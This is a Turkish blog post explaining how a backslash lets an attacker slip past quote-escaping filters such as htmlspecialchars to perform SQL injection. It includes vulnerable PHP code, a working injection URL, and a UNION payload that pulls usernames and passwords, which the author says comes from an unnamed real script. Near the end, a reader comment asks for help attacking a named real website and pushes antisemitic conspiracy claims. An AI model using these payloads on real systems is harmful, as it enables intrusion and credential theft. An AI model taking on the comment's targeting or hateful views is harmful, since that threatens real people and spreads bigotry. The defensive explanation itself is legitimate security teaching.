2 Ağustos 2015 Pazar

Tırnak Işareti Filtreli Scriptlerde SQL Injection, htmlspecialchars Bypass

Bildiğiniz gibi Ahmet Çelik(t4cs1zkr4L) kardeşim Avrasya Üniversitesi Bilişim Topluluğunun başkanlığını yürütmekte. Topluluğun dergi çıkarmasına öncülük eden laz bana da bi makale yazdırdı. Onu sizinle paylaşayım dedim.

Bunlar da dergiden resimler:







Bildiğiniz gibi SQL'de String tipi veri karşılaştırmalarında, karşılaştırılacak veri tırnak işaretleri arasında yazılır (" , '). Aslında bu hemen hemen tüm bilgisayar dillerinde bu şekildedir. String tipi veriler tırnak işaretleri arasında eşitlenir. Ama int tipi veriler için bu kullanım yoktur. Doğrudan sayıyı yazarak eşitlersiniz.

SQL'de int tipini ister tırnak işareti arasında yazarsınız, ister doğrudan yazarsınız. İki kullanımda da sorun çıkarmaz, ama konumuz bu değil. Bu girişten sonra esas gelmek istediğimiz noktaya dönelim.

Buraya kadar verdiğimiz bu bilgiden haliyle şu kanı çıkıyor, tırnak işaretini ben girdilerden filtrelersem, SQL Injection saldırısına maruz kalmam. Teoride doğru. Örnek kod ile çıktı görüntüsü verelim önce;


Örnek kodumuz;


error_reporting(0);
$user = "root";
$pwd = "";
$host = "localhost";
$db = "turksec";
$conn = mysql_connect($host,$user,$pwd) or die("Bağlantı hatası".mysql_error());
mysql_select_db($db) or die("Veritabani hatası".mysql_error());
mysql_set_charset('utf8',$conn);

$query="";

if(!isset($_GET['tarih'])||!isset($_GET['id']))
{
 $query="select baslik,icerik,tarih,basari_id from basari where aktif=1";
 $sonuc = mysql_query($query);
 if(mysql_num_rows($sonuc)!=0)
 {
  echo "
";
  while($oku = mysql_fetch_assoc($sonuc))
  {
      echo ''.$oku['baslik'].'
';
  }
 }else{
  echo "Hic kayit yok!";
 }
}
else{
 $query="select icerik from basari where basari_id='"
 .htmlspecialchars($_GET['id'],ENT_QUOTES)."' and tarih='"
 .htmlspecialchars($_GET['tarih'],ENT_QUOTES)."'";
 
 $sonuc = mysql_query($query);
 if(mysql_num_rows($sonuc)!=0){
  $oku = mysql_fetch_assoc($sonuc);
  echo $oku["icerik"];
 }else{
  echo "Hic kayit yok!";
 }
}

echo "

".htmlentities($query)."";

Scriptimizi özetleyecek olursak; basit bir haber sayfası mantığıyla çalışmaktadır. Ana sayfada haberler listelenir. Başlıklarına tıklandığında ise haber içeriği görüntülenir.
Aşağıdaki iki resim bu durumları göstermektedir.





Burada fazladan en altta mevcut sql sorgusu gösterilmiştir.

Gördüğünüz gibi 2. resimde tıklanan haberin id değeri ve tarih değeri URL üzerinden GET metodu ile gönderilmekte. Koda baktığımız zaman aşağıdaki sorguya dahil edildiğini görüyoruz.


$query="select icerik from basari where basari_id='"
 .htmlspecialchars($_GET['id'],ENT_QUOTES)."' and tarih='"
 .htmlspecialchars($_GET['tarih'],ENT_QUOTES)."'";


Bu  satırlarda dikkat ettiyseniz, $_GET['id'] ve $_GET['tarih'] parametreleri sorguya dahil edilirken htmlspecialchars ve ENT_QUOTES kullanılmış. Bu fonksiyonun yaptığı dönüşümler aşağıdaki gibidir;
" = "
 ' = '
< = &lt; 
> = &gt;

Dışarıdan bakıldığında hem String tipi SQL Injection için, hem de XSS saldırıları için birebir çözümmüş gibi duruyor değil mi? Şimdi bir tırnak işareti denemesi yapalım ve Query çıktısını görelim.


Gördüğünüz gibi hem id değerinde hem tarih değerinde gerekli dönüşümler yapılmış ve tırnak işaretimiz artık özel karakter olarak değil, html entity olarak sorguya yansımıştır.

Buraya kadar her şey yolunda. Neticede SQL Injection yapacak birinin mevcut tırnak işaretini kapatıp kendi sorgusunu eklemesi gerekirdi. Ancak mevcut tırnak işaretinin dışına çıkılamadığı sürece ne yazılırsa yazılsın sadece Metin(String) olarak algılanır.

Şimdi gelelim Bypass yöntemimize ama önce bir ön bilgilendirme yapmamız gerekmekte;
SQL sorgularında tırnak işareti, bilindiği gibi özel karakterdir. Peki ben sorguda değil de String içeriğinde bu özel karakteri kullanmak istersem nasıl escape ederim?

\' veya '' (iki tane tek tırnak) şeklinde kullanıldığında özel karakter değil, string olarak algılanır.
Örn: where Baslik like '%\'aa'
Burada içinde 'aa geçen veriler Baslik'ta aranmaktadır.

Buradan yola çıkarsak saldırı kodumuz aşağıdaki gibidir:


http://localhost/quote/index.php?id=2\&tarih=and 1=0 union select user()%23



Peki bu nasıl oldu?

Aslında neler olduğunu aşağıda çıktı olarak gördüğümüz sorgu bize söylemektedir. Ama biz açıklayalım;

select icerik from basari where basari_id='2\' and tarih=' and 1=0 union select user()#'

id=2\

yazdığımız için 2 değerini kapatacak olan tırnak işaretini stringe çevirip escape etmiş olduk. Daha sonra tarih değerini eşitlediğinde açtığı tırnak işareti, yukarıdaki sorguda kırmızıyla belirttiğimiz kısmın tamamen string olarak eşitlenip, kapatılmasını sağladı. Bu sayede biz tarih parametresi üzerinden doğrudan sorgumuzu yazabiliriz. Burada yazdığımız Injection sorgusunun sonunaysa # karakteri koyarak, en sona eklenecek olan tırnak işaretini syntaxı bozmaması için elimine etmiş olduk.

Demek ki zararlı karakterler filtrelerimize bir yeni karakter daha eklememiz gerekir: " \ " (slaş)

Bu da gerçek dünya örneği olsun;
Scriptin adını vermeyeceğim ama türk yapımı yaygın bi scriptte bulduğum bir 0-day saldırısı. Kodcu abimiz scriptte tırnak işareti ve html taglarının tamamını replace etmekteydi. Saldırı kodunu görse herhalde üstünde bayağı bi düşünür.

Gönderilen veri:
search=sss\

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'sss\' OR marka.name like 'sss\' OR urun.name like '%sss\%' OR urun.onDetay like '%sss\%' ..... diye gidiyor sorgu.

Sorgu:
select bla,bla,bla from urunler,marka,kategori where  urun.bakiyeOdeme=0 AND urun.active = 1 AND  urun.active=1  AND urun.markaID = marka.ID AND kategori.active=1 AND urun.catID=kategori.ID AND (kategori.name like 'sss\' OR urun.ID = 'sss\' OR marka.name like 'sss\' OR urun.name like '%sss\%' OR urun.onDetay like '%sss\%')


Saldırı kodu:
search=)union select 1,2,3,concat(username,0x3a,password),5,6,7,8 from users#\

Sorgunun son hali:
select bla,bla,bla from urunler,marka,kategori where  urun.bakiyeOdeme=0 AND urun.active = 1 AND  urun.active=1  AND urun.markaID = marka.ID AND kategori.active=1 AND urun.catID=kategori.ID AND (kategori.name like ')union select 1,2,3,concat(username,0x3a,password),5,6,7,8 from users#\'*** OR urun.ID = ')union select 1,2,3,concat(username,0x3a,password),5,6,7,8 from users#\' OR marka.name like ')union select 1,2,3,concat(username,0x3a,password),5,6,7,8 from users#\' OR urun.name like '%)union select 1,2,3,concat(username,0x3a,password),5,6,7,8 from users#\%' OR urun.onDetay like '%)union select 1,2,3,concat(username,0x3a,password),5,6,7,8 from users#\%')

Şimdi sorguyu daha güzel inceleyelim:
yeşille belirttiğim kısımdan itibaren inceleyelim, çünkü tam orada tırnak işaretinin dışına çıkabilmeyi başardık. Dolayısıyla bir sonraki tırnak işaretini görene kadarki her yer string olarak algılanacak.

Tam şu şekilde yani;

select bla,bla,bla from urunler,marka,kategori where  urun.bakiyeOdeme=0 AND urun.active = 1 AND  urun.active=1  AND urun.markaID = marka.ID AND kategori.active=1 AND urun.catID=kategori.ID AND (kategori.name like ')union select 1,2,3,concat(username,0x3a,password),5,6,7,8 from users#\' OR urun.ID = '...

Buradan sonra ise sorgumuz gelmekte. Sorgunun sonundaki # yorum karakteri devamını zaten hiçe sayacağından son çalışan sorgu şu olacaktır:

select bla,bla,bla from urunler,marka,kategori where  urun.bakiyeOdeme=0 AND urun.active = 1 AND  urun.active=1  AND urun.markaID = marka.ID AND kategori.active=1 AND urun.catID=kategori.ID AND (kategori.name like ')union select 1,2,3,concat(username,0x3a,password),5,6,7,8 from users#\' OR urun.ID = )union select 1,2,3,concat(username,0x3a,password),5,6,7,8 from users#\

Sonuç:
User,pass sayfaya basılır.


Dip Not:
Bu saldırının gerçekleşebilmesi için en önemli şart, 2 adet parametrenin aynı sorguya dahil edilmesidir. Veya tek parametre, aynı sorgunun 2 farklı yerinde kullanılmalıdır.
Bu bypass yöntemi, XSS saldırılarında da kullanılabilir.


3 yorum

Abi harika bir anlatım çok teşekkür ederim. Rica etsem bana bu örnekte yardımcı olur musun ? Bypass etmeyi çok istediğim bir sorun : http://www.kaosgl.com/sayfa.php?id=2/

Yahudi sorosu bilirsin abi tüm dünyada parası ile belirli oluşumları destekler neden desteklediğinide az çok tahmin edersin.. Greenpeace, kaosgl, antifa gibi sayısız örgütlere yatırımları vardır sırf ülkeyi karıştırmak toplumsal ahlakı bozmak gibi bir sürü miletin gizli düşmanıdır bu yahudiler.. Kısaca bu foto özetler dediklerimi:

https://fbcdn-sphotos-a-a.akamaihd.net/hphotos-ak-xpa1/v/t1.0-9/11831649_10205036511133986_8270751615786290818_n.jpg?oh=2310004edf5446eaba894bd4962742fa&oe=56367E76&__gda__=1446777696_16c0c248c6fd48ac4d0e974415b9f6c5

Tek istediğim şu sitede sorgularımı çalıştırmak umarım yardımcı olursun abi. Shellcode yazınızı bekliyorum bu arada :d

Abi artık blog yazın :(

mükemmel ötesi anlatım olmuş harikasınız emeğinize sağlık


EmojilerEmojiler